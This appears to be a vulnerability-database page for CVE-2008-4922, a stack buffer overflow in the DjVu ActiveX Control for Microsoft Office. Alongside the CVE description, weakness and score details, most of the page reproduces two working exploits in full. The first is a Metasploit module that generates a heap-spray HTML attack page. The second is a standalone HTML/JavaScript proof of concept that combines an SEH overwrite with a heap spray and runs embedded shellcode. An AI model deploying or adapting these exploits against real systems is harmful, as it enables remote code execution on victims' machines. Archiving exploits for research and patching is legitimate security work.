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CVE Descriptions
Buffer overflow in the DjVu ActiveX Control 3.0 for Microsoft Office (DjVu_ActiveX_MSOffice.dll) allows remote attackers to execute arbitrary code via a long (1) ImageURL property, and possibly the (2) Mode, (3) Page, or (4) Zoom properties.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 16638
Publication date : 2010-09-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: djvu_imageurl.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an
overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)
an attacker may be able to execute arbitrary code. This control is not marked safe
for scripting, so choose your attack vector accordingly.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2008-4922' ],
[ 'OSVDB', '49592' ],
[ 'BID', '31987' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Oct 30 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.ImageURL = #{rand8};
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Creating HTML file ...")
file_create(content)
end
end
Exploit Database EDB-ID : 6878
Publication date : 2008-10-29 23h00 +00:00
Author : Shahriyar Jalayeri
EDB Verified : Yes
<!--
DjVu ActiveX Control ImageURL Property Overflow
From DjVu.org :
"DjVu (pronounced "d�j� vu") is a digital document format with advanced compression technology and high performance value.
DjVu allows for the distribution on the Internet and on DVD of very high resolution images of scanned documents,
digital documents, and photographs. DjVu viewers are available for the web browser, the desktop, and PDA devices."
vulnerability is in DjVu ActiveX Control 3.0 for Microsoft (r) Office ( DjVu_ActiveX_MSOffice.dll)
you can use heap spray to exploit this vulneability but I like to use this multiple technique ( SEH overwrite + Heap Spray )
oooo, there is also /SafeSEH OFF
other properties are also vulnerable ( Mode or maybe Page and Zoom )
-------------------------------------------------------------------------------------------------------------------------------------------------
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid and all snoop members }
Shahriyar Jalayeri <Shahriyar.j // gmail // com >
Snoop Security Research committee < Snoop-security.com >
-->
<html>
<object id=boom classid="clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C" ></object>
<input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
<script>
// clac.exe
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
// address I use to jump ( ASCII Address )
var heapSprayToAddress = 0x0a0a0a0a;
var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function Exploiter(){
var Buffer = 'A';
// this size of 'A' strings overwrite eip and it cause and exception so we jumt to seh handler
var BufferSize = 1684;
// Next seh handler never execute
var NextSehHandler = unescape("%90%90%90%90");
// now we jump to our address in sprayed heap block and the Shellcode get execute !
var SehHandler = unescape("%0a%0a%0a%0a");
while(Buffer.length<BufferSize) Buffer += Buffer;
Buffer = Buffer.substring(0,BufferSize);
boom.ImageURL = Buffer + NextSehHandler + SehHandler ;
}
</script>
</html>
# milw0rm.com [2008-10-30]
Products Mentioned
Configuraton 0
Djvu>>Activex_control_for_microsoft_office_2000 >> Version *
Microsoft>>Office >> Version 2000
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
- Microsoft>>Office >> Version 2000 (Open CPE detail)
References
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